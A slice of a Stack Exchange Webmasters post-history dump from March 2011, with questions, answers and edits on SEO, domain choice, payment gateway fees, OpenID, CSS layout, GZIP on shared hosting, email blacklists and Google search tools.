  <row Id="22998" PostHistoryTypeId="2" PostId="10301" RevisionGUID="5e8f80bf-30e7-41fa-ac6c-ff3e06a4d47e" CreationDate="2011-03-08T14:56:27.947" UserId="1253" Text="From an SEO perspective:&#xD;&#xA;&#xD;&#xA;keyword.co - perfect for the keyword but if you're targeting a specific country the .co (Columbia) TLD will hurt you. If not you're good to go.&#xD;&#xA;&#xD;&#xA;mykeyword.com - Good keyword usage but not targeted toward any country&#xD;&#xA;&#xD;&#xA;keywordnetwork.com - Good keyword usage but not targeted toward any country. If there is such a things as keyword density in domain names/URLs then technically you have diluted it a bit by having &quot;network&quot; in it but in practice this won't make much of a difference at all.&#xD;&#xA;&#xD;&#xA;Remmeber, there's more to a domain name then SEO. If you don't keep your users in mnd you've lost before you've even begun. .coms are easy to remember vs country specific TLDs. Also, it wouldn't surprise me if people accidentally added the &quot;m&quot; to .co when typing in the first one. I'm not saying it's going to happen a lot but I can see it happening simply out of habit. " />
  <row Id="22999" PostHistoryTypeId="5" PostId="6156" RevisionGUID="40b7df60-465f-4ebb-bc4d-68dd4aca2430" CreationDate="2011-03-08T14:56:39.660" UserId="1429" Comment="added 76 characters in body" Text="I belive **Paypal is the cheapest** (or almost the cheapest).&#xD;&#xA;Along with the cheap fees, PayPal were the 1st (or almost the 1st) to come out on the web as online payment system. IMHO thus PayPal is so widespread!&#xD;&#xA;&#xD;&#xA;All the other accounts in the answers are almost as simple to use as PayPal.&#xD;&#xA;&#xD;&#xA;But let's look at FEES&#xD;&#xA;&#xD;&#xA;- Paypal &gt;&gt; [2.9% + $0.30][1]&#xD;&#xA;- Google chekout [(same fees of Paypal - click on &quot;Costs and fees&quot;)][2]&#xD;&#xA;- Moneybookers &gt;&gt; [2.9% + €0.29][5] (EURO it's not an error, so watch out)&#xD;&#xA;- AlertPay &gt;&gt; [4.9% + €0.25][3] &#xD;&#xA;- 2checkout &gt;&gt; [5.5% + $0.45 + one time only fee of $49][4]&#xD;&#xA;- Amazon &gt;&gt; don't know took me too much too look for it (too bad for them)&#xD;&#xA;&#xD;&#xA;**Once agin it shows up that prices are a huge marketing axe on the web, much more than in real life.**&#xD;&#xA;&#xD;&#xA;And to answer to your 2nd question, C# .net integration does not matter here, all these payment gateway can be integarted with just some HTML code in your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal.com/cgi-bin/webscr?cmd=_display-receiving-fees-outside&amp;countries=&#xD;&#xA;  [2]: https://checkout.google.com/sell/?gl=IT&amp;hl=en&#xD;&#xA;  [3]: https://www.alertpay.com/en/fees.aspx&#xD;&#xA;  [4]: http://www.2checkout.com/blog/category/getting-started/fees&#xD;&#xA;  [5]: https://www.moneybookers.com/app/help.pl?s=m_fees&amp;l=EN" />
  <row Id="23000" PostHistoryTypeId="5" PostId="10169" RevisionGUID="a9d2a375-56fb-4b9f-8ffc-86f48e5a697c" CreationDate="2011-03-08T14:57:55.800" UserId="5847" Comment="added 157 characters in body" Text="My websites nutrishopbrandon.com &amp; nutrishoptampa.com (serving different markets although close geographically. Brandon, FL is considered a suburb of Tampa, FL and could be grouped into the Tampa Bay area) were on page one of google and now they have dissappeared. Is the google search ranking drop because:&#xD;&#xA;&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;&#xD;&#xA;2) is the site just being re-indexed on all serach engines b/c of new content?&#xD;&#xA;&#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? &#xD;&#xA;Thanks!" />
  <row Id="23001" PostHistoryTypeId="2" PostId="10302" RevisionGUID="c2eba035-8838-49bc-abf0-bbef56f584a7" CreationDate="2011-03-08T15:05:10.750" UserId="5946" Text="I think they have low priority than other paid domain names but in the last what it matters is the keywords. If you write keyword rich content than you can have a better page rank... " />
  <row Id="23002" PostHistoryTypeId="5" PostId="10169" RevisionGUID="5a96a41c-29c1-47ad-94b5-7d221cbd144f" CreationDate="2011-03-08T15:08:46.253" UserId="5847" Comment="added 161 characters in body; deleted 9 characters in body" Text="My nutrition shop websites for tampa and brandon were coming up on page one of google search results and now they have dissappeared. The 2 websites serve different markets although they are close geographically and have the same products, keywords, and layouts. Brandon, FL is considered a suburb of Tampa, FL and could be grouped into the Tampa Bay area. There's also a mirror site nutrition shop setup for orlando. Is the google search ranking drop because:&#xD;&#xA;&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;&#xD;&#xA;2) is the site just being re-indexed on all serach engines b/c of new content?&#xD;&#xA;&#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? &#xD;&#xA;Thanks!" />
  <row Id="23003" PostHistoryTypeId="5" PostId="10169" RevisionGUID="de9b7ce8-7391-498a-9d36-d707698f32ce" CreationDate="2011-03-08T15:14:52.877" UserId="5847" Comment="edited body" Text="My nutrition shop websites for tampa and brandon were coming up on page one of google search results and now they have dissappeared. The 2 websites serve different markets although they are close geographically and have the same products, keywords, and layouts. Brandon, FL is considered a suburb of Tampa, FL and could be grouped into the Tampa Bay area. There's also a mirror site nutrition shop setup for orlando. Is the google search ranking drop because:&#xD;&#xA;&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;&#xD;&#xA;2) is the site just being re-indexed on all search engines b/c of new content?&#xD;&#xA;&#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? &#xD;&#xA;Thanks!" />
  <row Id="23004" PostHistoryTypeId="5" PostId="10172" RevisionGUID="1a1f5ba9-e81d-4641-9dfb-7c6a80c07539" CreationDate="2011-03-08T15:23:30.450" UserId="1253" Comment="added 448 characters in body" Text="We have so little information to go on that it's hard to say for sure but if you have three websites all with the same content then the odds are this site has been hit with a duplicate content penalty. &#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;*From the comments below*&#xD;&#xA;&#xD;&#xA;Those sites are definitely clones of each other so it's no surprise one is filtered out. The more differences you can make the better. If it is a template driven site change the layout as much as you can. See if you can do anything to the titles besides changing just the location name. Really, anything you can change is going to help differentiate the two. (Footer text, anchor text, meta desc tag) " />
  <row Id="23005" PostHistoryTypeId="2" PostId="10303" RevisionGUID="726b612b-23f2-447b-a5d3-193c1ce09a07" CreationDate="2011-03-08T13:53:05.113" UserDisplayName="Steve Clay" Text="For a long time I've used OpenID delegation on my site:&#xD;&#xA;&#xD;&#xA;`http://example.org/` delegated to: `http://example.openid-provider.com/`, so I logged into OpenID-consuming sites using the former as ID.&#xD;&#xA;&#xD;&#xA;Recently I [added `www.` to my site's canonical domain][1] so `http://example.org/` now redirects to `http://www.example.org/`.&#xD;&#xA;&#xD;&#xA;**Should I be able to continue logging into existing OpenID accounts using `http://example.org/`?**&#xD;&#xA;&#xD;&#xA;StackExchange sites say &quot;yes&quot;. I can use either URL.&#xD;&#xA;&#xD;&#xA;At least one other doesn't recognize my existing account. &#xD;&#xA;&#xD;&#xA;**Who's &quot;right&quot; (per [spec][2]) and is there anything I can fix on my end?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/507/should-i-include-www-in-my-canonical-urls-what-are-the-pros-and-cons/512#512&#xD;&#xA;  [2]: http://openid.net/specs/openid-authentication-2_0.html" />
  <row Id="23006" PostHistoryTypeId="1" PostId="10303" RevisionGUID="726b612b-23f2-447b-a5d3-193c1ce09a07" CreationDate="2011-03-08T13:53:05.113" UserDisplayName="Steve Clay" Text="Should OpenID clients accept adding WWW to the domain?" />
  <row Id="23007" PostHistoryTypeId="3" PostId="10303" RevisionGUID="726b612b-23f2-447b-a5d3-193c1ce09a07" CreationDate="2011-03-08T13:53:05.113" UserDisplayName="Steve Clay" Text="&lt;domains&gt;&lt;authentication&gt;&lt;openid&gt;" />
  <row Id="23008" PostHistoryTypeId="17" PostId="10303" RevisionGUID="b9b4d93b-a3ed-4e90-862e-feb2a45e83df" CreationDate="2011-03-08T15:42:08.853" UserId="-1" Comment="from http://superuser.com/questions/254819/should-openid-clients-accept-adding-www-to-the-domain" Text="" />
  <row Id="23009" PostHistoryTypeId="2" PostId="10304" RevisionGUID="b48c5245-f0e2-4a1a-a551-bf33b1ecb80c" CreationDate="2011-03-08T15:46:58.223" UserId="5949" Text="(Damn, I had to type this answer all over again because the web site design changed and locked the question.  This is getting really frustrating and wasting a lot of time.  And now, when I try to submit it, I get a blank web page with the message &quot;Oh tin of pink meat / I ponder what you may be / Snout or ear or feet?&quot;)&#xD;&#xA;&#xD;&#xA;How each person or organization sets up their systems is their choice.  Traditionally the third-level &quot;www.&quot; would provide the user with access to the web site as the &quot;A&quot; records in DNS specify the correct host (and many administrators would configure a tiny web server at whatever host is at &quot;example.com&quot; to re-direct the user to &quot;www.example.com&quot; to keep the load off).&#xD;&#xA;&#xD;&#xA;These days many sites have one server running multiple daemons, so the need to differentiate these hosts isn't so important anymore.&#xD;&#xA;" />
  <row Id="23010" PostHistoryTypeId="2" PostId="10305" RevisionGUID="4589a0ac-8ece-45aa-81b9-b54f5d58ff60" CreationDate="2011-03-08T15:55:45.717" UserId="1429" Text="I would strongly advise against getting a .co TLD unless you are targeting a service/product specifically for people/customers in Colombia.&#xD;&#xA;&#xD;&#xA;Moreover:&#xD;&#xA;&#xD;&#xA; 1. As John Conde pointed out people could think that .com is the right one and that .co is an error so they might add the 'm' when looking for your url ending up in an not existing domain&#xD;&#xA;&#xD;&#xA; 2. I would rather be more confident to buy something (and in general more confident) from a .com domain than a .co domain from Colombia.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23011" PostHistoryTypeId="2" PostId="10306" RevisionGUID="b863c540-ab80-4312-88ed-6902a49b4eba" CreationDate="2011-03-08T16:03:20.680" UserId="5819" Text="I'm looking for a &quot;pay hat you want&quot; system like www.humblebundle.com had during their last software bundle action.&#xD;&#xA;Where can I find such a system? It only needs to support PayPal and should send a link with the download path to the user.&#xD;&#xA;&#xD;&#xA;Any ideas welcome.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Bob" />
  <row Id="23012" PostHistoryTypeId="1" PostId="10306" RevisionGUID="b863c540-ab80-4312-88ed-6902a49b4eba" CreationDate="2011-03-08T16:03:20.680" UserId="5819" Text="&quot;Pay what you want&quot; system" />
  <row Id="23013" PostHistoryTypeId="3" PostId="10306" RevisionGUID="b863c540-ab80-4312-88ed-6902a49b4eba" CreationDate="2011-03-08T16:03:20.680" UserId="5819" Text="&lt;paypal&gt;&lt;download&gt;&lt;payment&gt;" />
  <row Id="23014" PostHistoryTypeId="2" PostId="10307" RevisionGUID="ded922df-3690-4d8b-8931-7c295d23a7b5" CreationDate="2011-03-08T16:06:50.440" UserId="5950" Text="use something like http://www.dnsstuff.com/ or http://dnstools.com/ to make sure all the records are set up correctly.&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="23015" PostHistoryTypeId="25" PostId="10300" RevisionGUID="9c30c4bd-3e86-411f-99cc-21a80fe03ee1" CreationDate="2011-03-08T17:23:32.517" Comment="http://twitter.com/#!/StackWebmasters/status/45172812998115328" />
  <row Id="23016" PostHistoryTypeId="17" PostId="10309" RevisionGUID="d7356e8b-8a0a-495b-abab-566d06696e7c" CreationDate="2011-03-08T18:10:46.077" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/11486/problem-with-template-negative-margins-on-float/11490#11490" Text="" />
  <row Id="23017" PostHistoryTypeId="2" PostId="10309" RevisionGUID="2812713b-c156-4ed8-9d9f-a6d3b5ddc4ee" CreationDate="2011-03-08T16:27:17.573" UserDisplayName="eileen.carpenter" Text="Do either of your `divs` have widths? Give them a `width`, `float` **BOTH** `left` and add `margin-right` to the first div. &#xD;&#xA;&#xD;&#xA;Make sure your width + margin doesn't add up to more than the surrounding div. For example if your surrounding div is `600px` your boxes shouldn't be more than `width:290px;` a `margin-left:20px;` on the left div. &#xD;&#xA;&#xD;&#xA;Also, you can use [Firebug][1] or any other web development broswer tool to check to see what styles in your stylesheet/s are affecting your divs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/" />
  <row Id="23018" PostHistoryTypeId="2" PostId="10308" RevisionGUID="ed0d7072-7801-4ccb-a64a-b7baa39c3c6d" CreationDate="2011-03-08T15:35:19.470" UserDisplayName="Fuxi" Text="i'm having a very strange problem with the wordpress template.&#xD;&#xA;i'd like to place 2 divs besides each other like this:&#xD;&#xA;&#xD;&#xA;    &lt;div style='float:left;'&gt;&#xD;&#xA;        left div&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div style='float:right'&gt;&#xD;&#xA;        right div&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;normally this works as it should - both divs should stick directly to each other -&#xD;&#xA;but something in the style.css (which uses css reset) causes the right div to overlap the left div with ~ 5pixels.&#xD;&#xA;i searched the whole .css for it but couldn't find out :((&#xD;&#xA;it's just a fact that it must be something with the default css. &#xD;&#xA;&#xD;&#xA;anyone knows what is causing this - some fix?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="23019" PostHistoryTypeId="1" PostId="10308" RevisionGUID="ed0d7072-7801-4ccb-a64a-b7baa39c3c6d" CreationDate="2011-03-08T15:35:19.470" UserDisplayName="Fuxi" Text="problem with template: negative margins on float" />
  <row Id="23020" PostHistoryTypeId="3" PostId="10308" RevisionGUID="ed0d7072-7801-4ccb-a64a-b7baa39c3c6d" CreationDate="2011-03-08T15:35:19.470" UserDisplayName="Fuxi" Text="&lt;css&gt;&lt;template&gt;" />
  <row Id="23021" PostHistoryTypeId="17" PostId="10308" RevisionGUID="d837109b-5da3-49e3-ad9d-0bd9a7c35a37" CreationDate="2011-03-08T18:10:46.077" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/11486/problem-with-template-negative-margins-on-float" Text="" />
  <row Id="23022" PostHistoryTypeId="2" PostId="10310" RevisionGUID="05bded9d-3929-4afa-812c-009163d8295f" CreationDate="2011-03-08T18:17:10.043" UserId="835" Text="I am a programmer in a local government agency. I found out today when I got to work that Charter Internet has blacklisted us for our mailing list that we run. This list is used for communicating news and alerts for our residents. Does anyone have a phone # I can use to contact Charter about this? &#xD;&#xA;&#xD;&#xA;Normally the [email approach is fine](http://www.charter.com/postmaster), but we have yet another snow storm coming and 75 of our customers won't be alerted to a snow emergency if we have one and may possibly be towed as a result." />
  <row Id="23023" PostHistoryTypeId="1" PostId="10310" RevisionGUID="05bded9d-3929-4afa-812c-009163d8295f" CreationDate="2011-03-08T18:17:10.043" UserId="835" Text="I'm on Charter's Blacklist. How do I get removed?" />
  <row Id="23024" PostHistoryTypeId="3" PostId="10310" RevisionGUID="05bded9d-3929-4afa-812c-009163d8295f" CreationDate="2011-03-08T18:17:10.043" UserId="835" Text="&lt;bulk-email&gt;" />
  <row Id="23025" PostHistoryTypeId="6" PostId="10310" RevisionGUID="876214d0-908c-4965-9c48-8a85784ed304" CreationDate="2011-03-08T18:19:13.793" UserId="1253" Comment="added &quot;blacklist&quot; tag" Text="&lt;bulk-email&gt;&lt;blacklist&gt;" />
  <row Id="23026" PostHistoryTypeId="4" PostId="10310" RevisionGUID="ab0f973a-19d1-4af8-93b3-e14c5a7675a5" CreationDate="2011-03-08T18:26:38.207" UserId="835" Comment="edited title" Text="I'm on Charter's email blacklist, how do I get removed?" />
  <row Id="23027" PostHistoryTypeId="2" PostId="10311" RevisionGUID="a342f74d-931f-4613-87a1-56368e3beded" CreationDate="2011-03-08T18:26:53.787" UserId="4040" Text="One of my sites lives on GoDaddy's bottom-of-the-line cheap hosting, I have the correct code in my .htaccess file, but it's not compressing because mod_deflate is not loaded.&#xD;&#xA;&#xD;&#xA;How do I enable that? &#xD;&#xA;&#xD;&#xA;The best I've found is [this article][1] which suggests I use PHP to zip everything (which is going to be more work than just changing hosting companies):&#xD;&#xA;&#xD;&#xA;&quot; Add the following code to the very top of your Web pages above the DOCTYPE:&#xD;&#xA;&#xD;&#xA;    if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip'))    &#xD;&#xA;    b_start(&quot;ob_gzhandler&quot;);&#xD;&#xA;    else ob_start();&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.godaddy.com/article/4485" />
  <row Id="23028" PostHistoryTypeId="1" PostId="10311" RevisionGUID="a342f74d-931f-4613-87a1-56368e3beded" CreationDate="2011-03-08T18:26:53.787" UserId="4040" Text="Can I enable GZIP on Godaddy?" />
  <row Id="23029" PostHistoryTypeId="3" PostId="10311" RevisionGUID="a342f74d-931f-4613-87a1-56368e3beded" CreationDate="2011-03-08T18:26:53.787" UserId="4040" Text="&lt;htaccess&gt;&lt;godaddy&gt;&lt;gzip&gt;" />
  <row Id="23030" PostHistoryTypeId="2" PostId="10312" RevisionGUID="da73b50c-1785-423d-aaef-96d0602fb783" CreationDate="2011-03-08T18:29:49.733" UserId="971" Text="&#xD;&#xA;A site I developed a year ago was ranking very well in Google for certain keywords. The domain name expired and no one noticed for about a week. &#xD;&#xA;&#xD;&#xA;It is fixed now, but the site is no longer in any Google searches. How can I tell Google the site is back?" />
  <row Id="23031" PostHistoryTypeId="1" PostId="10312" RevisionGUID="da73b50c-1785-423d-aaef-96d0602fb783" CreationDate="2011-03-08T18:29:49.733" UserId="971" Text="How to inform Google that a site is back up." />
  <row Id="23032" PostHistoryTypeId="3" PostId="10312" RevisionGUID="da73b50c-1785-423d-aaef-96d0602fb783" CreationDate="2011-03-08T18:29:49.733" UserId="971" Text="&lt;google&gt;" />
  <row Id="23033" PostHistoryTypeId="2" PostId="10313" RevisionGUID="fb719272-ee48-418e-8a8c-5440090b08d6" CreationDate="2011-03-08T18:35:57.773" UserId="1253" Text="Since you have a shared hosting account there is no way to add mod_deflate since it requires making changes to Apache which you are not allowed to. So your options are to either switch hosts or use the PHP solution godaddy suggests." />
  <row Id="23034" PostHistoryTypeId="2" PostId="10314" RevisionGUID="a97824eb-820e-4110-ae90-baa01108fbe7" CreationDate="2011-03-08T18:37:21.470" UserId="1253" Text="[Try filing a re inclusion request in Google Webmaster Tools][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35843" />
  <row Id="23035" PostHistoryTypeId="5" PostId="10314" RevisionGUID="90275b73-42cb-47f2-a23b-16afa381684a" CreationDate="2011-03-08T18:51:21.177" UserId="1253" Comment="spelling correction" Text="[Try filing a re-inclusion request in Google Webmaster Tools][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35843" />
  <row Id="23036" PostHistoryTypeId="17" PostId="10316" RevisionGUID="636d0116-c5eb-44d4-ba87-c6b4b0eabf01" CreationDate="2011-03-08T18:54:50.703" UserId="-1" Comment="from http://stackoverflow.com/questions/5222110/not-set-in-google-analytics/5224168#5224168" Text="" />
  <row Id="23037" PostHistoryTypeId="2" PostId="10316" RevisionGUID="c334fab7-531c-45d6-bd48-b0a0298b8014" CreationDate="2011-03-07T19:22:13.097" UserId="5854" Text="By default GA's tracking code tracks pages by their URL in that report. But you can override this by passing a specific value to be reported in the _trackPageview() trigger.  &#xD;&#xA;&#xD;&#xA;So in order for &quot;(not set)&quot; to show up in that report, you must have code on your page that is passing that value to _trackPageview().  &#xD;&#xA;&#xD;&#xA;So you need to look at your GA code and look at the javascript that decides what to pass to _trackPageview() and look at the logic that is used to produce that &quot;(not set)&quot; value.  &#xD;&#xA;&#xD;&#xA;If I had to take a random guess, I would say you have javascript on the page that attempts to make virtual page names based off the URL and maybe &quot;(not set)&quot; is the default value that is used, for instance, if there is no directory path in the URL to build the virtual page name, or maybe it's based on some site category or something.  But that's just a random guess since I have no clue what your page code looks like or the intention behind it. " />
  <row Id="23038" PostHistoryTypeId="2" PostId="10315" RevisionGUID="f72d4cc0-2830-408f-9d16-b27607ffd3cf" CreationDate="2011-03-07T16:22:03.613" UserId="5904" Text="Since 1 mounth, I see many pages tagged &quot;(not set)&quot; in the navigation summary section.&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I look for global traffic evolution for this tag, it is alwas 0.&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Where do this kind of tag can comme from ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/cJKdU.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/8rf5Y.png" />
  <row Id="23039" PostHistoryTypeId="1" PostId="10315" RevisionGUID="f72d4cc0-2830-408f-9d16-b27607ffd3cf" CreationDate="2011-03-07T16:22:03.613" UserId="5904" Text="&quot;(not set)&quot; in Google Analytics" />
  <row Id="23040" PostHistoryTypeId="3" PostId="10315" RevisionGUID="f72d4cc0-2830-408f-9d16-b27607ffd3cf" CreationDate="2011-03-07T16:22:03.613" UserId="5904" Text="&lt;google-analytics&gt;" />
  <row Id="23041" PostHistoryTypeId="17" PostId="10315" RevisionGUID="5cb85443-881c-4174-8c84-3d70d00ac6b8" CreationDate="2011-03-08T18:54:50.703" UserId="-1" Comment="from http://stackoverflow.com/questions/5222110/not-set-in-google-analytics" Text="" />
  <row Id="23042" PostHistoryTypeId="2" PostId="10317" RevisionGUID="37cd0bcc-d769-492c-87d3-58245968e07e" CreationDate="2011-03-08T18:59:10.420" UserId="5951" Text="I have developed my own little framework for webpages. And for different websites I had to change some parts of the framework respectively developed new features / improvements. But in some cases I missed to copy the changes in the original framework code.&#xD;&#xA;&#xD;&#xA;How do you manage your frameworks? &#xD;&#xA;I copy the complete framework to a library folder in my projects folder structure. So I have a copy of the framework in every project. &#xD;&#xA;I would like to have it on one place in order to modify / improve / bugfix it once and then distribute it on the projects. " />
  <row Id="23043" PostHistoryTypeId="1" PostId="10317" RevisionGUID="37cd0bcc-d769-492c-87d3-58245968e07e" CreationDate="2011-03-08T18:59:10.420" UserId="5951" Text="Manage own framework" />
  <row Id="23044" PostHistoryTypeId="3" PostId="10317" RevisionGUID="37cd0bcc-d769-492c-87d3-58245968e07e" CreationDate="2011-03-08T18:59:10.420" UserId="5951" Text="&lt;change-management&gt;" />
  <row Id="23045" PostHistoryTypeId="2" PostId="10318" RevisionGUID="a70b40b1-9f77-4170-8c27-e551baa7e778" CreationDate="2011-03-08T19:27:39.363" UserId="5849" Text="Most languages have a way for you to use files stored in a different location. This is, for example, how django works. You will need to look at the specifics of the language you are working in for details on how to do this. &#xD;&#xA;&#xD;&#xA;Another option is to your framework in a repository like SVN or Git. Then you create working copies for each site. If you use a graphical client, it can store all of the working copies that you have and you can just go down the list and update all of them. That way you won't miss any. &#xD;&#xA;&#xD;&#xA;I personally use SVN for most projects and RapidSVN is a good client that stores a list of all of your working copies. I'm pretty sure Git has similar clients if you prefer Git. " />
  <row Id="23046" PostHistoryTypeId="2" PostId="10319" RevisionGUID="893bd408-e605-4aeb-b607-d854aae52125" CreationDate="2011-03-08T19:34:17.080" UserId="5849" Text="Are you looking for a full shopping cart system or just a way to have a way that people can pay for something with an not fixed amount? &#xD;&#xA;&#xD;&#xA;I believe that paypal's built in buttons allow for a pay what you want option. So if you have just one or a few items, you could just use a paypal button. Paypal buttons give you an option to forward the buyer to a specific place after purchase (your download link). &#xD;&#xA;&#xD;&#xA;That doesn't really help if you have a bunch of items though. " />
  <row Id="23047" PostHistoryTypeId="2" PostId="10320" RevisionGUID="987e6285-7d71-4c59-9fe5-1752c6b2b1af" CreationDate="2011-03-08T19:38:50.053" UserId="5849" Text="I don't know if this is limited by country (it might be), but have you seen Shopify? It is a hosted webshop that I've heard tons of good things about. It seems to be very flexible. &#xD;&#xA;&#xD;&#xA;https://www.shopify.com/" />
  <row Id="23048" PostHistoryTypeId="2" PostId="10321" RevisionGUID="bc1b4cc9-4993-430f-b9c5-25530c935b72" CreationDate="2011-03-08T20:03:24.160" UserId="835" Text="Called the number on the link in the original question (1-888-438-2427) and did get a hold of someone that was going to be escalating it to his supervisor. I'll report back if I had any other trouble." />
  <row Id="23049" PostHistoryTypeId="25" PostId="10312" RevisionGUID="92c87e29-bc99-49fc-b11a-7a5cd571fb5b" CreationDate="2011-03-08T20:23:32.540" Comment="http://twitter.com/#!/StackWebmasters/status/45218110302715904" />
  <row Id="23050" PostHistoryTypeId="2" PostId="10322" RevisionGUID="67300bec-db14-45a0-be6d-7145161e3e71" CreationDate="2011-03-08T20:32:48.240" UserId="5952" Text="Use Case:&lt;br/&gt;&#xD;&#xA;Photos are organised in a folder structure by date (by software lightroom/picasa)&lt;br/&gt;&#xD;&#xA;Want to run a local webserver to host a web gallery from (already know how to run lamp etc)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I want to be able to attach metadata to the photos (probably through a database not residing in the photos folder) such that they can be tagged/categoried/albumed without affecting the original photos&lt;br&gt;&#xD;&#xA;I want to be able to assign permissions to different albums to set users&lt;br&gt;&#xD;&#xA;I want the software to watch the photo source folder for changes so that new photos are indexed ready for applying metadata and albums.&lt;br&gt;&#xD;&#xA;I'd like the software to handle the rendering of numerous file types (photo formats) as well as video formatts&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I am language agnostic so php/python heck even c#, just want software that forfills the requirements. The main reason I am asking this question here as I am unsure what this software would even be called so google searching is quite difficult!&#xD;&#xA;&#xD;&#xA;Thanks for reading." />
  <row Id="23051" PostHistoryTypeId="1" PostId="10322" RevisionGUID="67300bec-db14-45a0-be6d-7145161e3e71" CreationDate="2011-03-08T20:32:48.240" UserId="5952" Text="Photo Gallery Software - reads from a local directory - watches folder- user and group permissions" />
  <row Id="23052" PostHistoryTypeId="3" PostId="10322" RevisionGUID="67300bec-db14-45a0-be6d-7145161e3e71" CreationDate="2011-03-08T20:32:48.240" UserId="5952" Text="&lt;browsers&gt;&lt;photo-gallery&gt;&lt;metadata&gt;" />
  <row Id="23053" PostHistoryTypeId="2" PostId="10323" RevisionGUID="dee8b9e7-9296-4a0d-877e-b8b07d51ea4d" CreationDate="2011-03-08T21:19:09.683" UserId="971" Text="&#xD;&#xA;I am trying to get an API that I can use to do searches on my own site.&#xD;&#xA;&#xD;&#xA;Google has something called [site search][1] and something called [custom search][2]. What is the difference?&#xD;&#xA;&#xD;&#xA;I make a new *site search*, then it is listed on a page with &quot;*custom search*&quot; in the heading. This is really confusing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I just want an API that I can use to search my site. I would prefer json to xml as the results. And if this service is offered by someone other than Google, that is fine too.&#xD;&#xA;&#xD;&#xA;The ones that I create at Google want me to embed a premade search box into my site. I do not want that, I want an API that I can call from PHP or JS.&#xD;&#xA;&#xD;&#xA;How can I get this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/sitesearch/&#xD;&#xA;  [2]: http://www.google.com/cse/" />
  <row Id="23054" PostHistoryTypeId="1" PostId="10323" RevisionGUID="dee8b9e7-9296-4a0d-877e-b8b07d51ea4d" CreationDate="2011-03-08T21:19:09.683" UserId="971" Text="Google Site Search -- How to use as API?" />
  <row Id="23055" PostHistoryTypeId="3" PostId="10323" RevisionGUID="dee8b9e7-9296-4a0d-877e-b8b07d51ea4d" CreationDate="2011-03-08T21:19:09.683" UserId="971" Text="&lt;google&gt;&lt;google-search-api&gt;&lt;site-search&gt;" />
  <row Id="23056" PostHistoryTypeId="2" PostId="10324" RevisionGUID="4456ff31-b0ed-469f-86d0-d857f2fa6aa4" CreationDate="2011-03-08T21:19:21.970" UserId="4040" Text="At [Google testing center][1] there seem to be about 5000 people who've taken the &quot;Google Analytics Individual Qualification&quot;, I've never heard of this before.&#xD;&#xA;&#xD;&#xA;Does anyone have any positive experiences from this program?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.starttest.com/" />
  <row Id="23057" PostHistoryTypeId="1" PostId="10324" RevisionGUID="4456ff31-b0ed-469f-86d0-d857f2fa6aa4" CreationDate="2011-03-08T21:19:21.970" UserId="4040" Text="Google Analytics Individual Qualification program?" />
  <row Id="23058" PostHistoryTypeId="3" PostId="10324" RevisionGUID="4456ff31-b0ed-469f-86d0-d857f2fa6aa4" CreationDate="2011-03-08T21:19:21.970" UserId="4040" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="23059" PostHistoryTypeId="10" PostId="10324" RevisionGUID="7b35e343-5405-41ca-962f-05393bf1c981" CreationDate="2011-03-08T21:24:49.347" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23060" PostHistoryTypeId="2" PostId="10325" RevisionGUID="73429178-6b75-4432-9e88-5c6379b246c0" CreationDate="2011-03-08T21:29:27.310" UserId="5849" Text="The biggest difference between the two is how the results are displayed. A Custom Search sends you to Google to see the results. The Site Search allows you to integrate the results with your site. I believe that Site Search gives you results in XML format for site integration. &#xD;&#xA;&#xD;&#xA;Also Site Search is not free. Custom Search is supported by Adsense. &#xD;&#xA;&#xD;&#xA;Since you are looking for the api version, you want site search, since that has an xml api. " />
